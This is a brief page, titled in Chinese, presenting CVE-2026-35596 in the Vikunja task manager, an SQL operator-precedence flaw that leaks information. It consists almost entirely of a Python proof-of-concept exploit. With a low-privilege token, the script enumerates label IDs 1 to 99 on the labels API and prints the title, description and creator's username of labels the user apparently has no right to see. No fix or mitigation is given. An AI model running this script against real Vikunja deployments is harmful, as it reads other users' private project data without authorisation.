CVE-2026-35596 Vikunja SQL逻辑漏洞致信息泄露

import requests # Exploit for CVE-2026-35596 # Description: PoC to demonstrate information disclosure via SQL operator precedence. # Requires: Valid authentication token (low-privilege user). target_url = "http://localhost:3456/api/v1/labels" auth_token = "YOUR_LOW_PRIVILEGE_TOKEN_HERE" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Enumerate potential label IDs. # In a real scenario, an attacker might guess IDs or use a specific endpoint to list them if available. # The vulnerability allows reading details of labels associated with tasks visible to the user, # even if the user does not have access to the project the label belongs to. for label_id in range(1, 100): response = requests.get(f"{target_url}/{label_id}", headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Label ID {label_id} accessed:") print(f" Title: {data.get('title')}") print(f" Description: {data.get('description')}") print(f" Created By: {data.get('created_by').get('username')}") elif response.status_code == 404: continue else: print(f"[-] Error accessing ID {label_id}: {response.status_code}")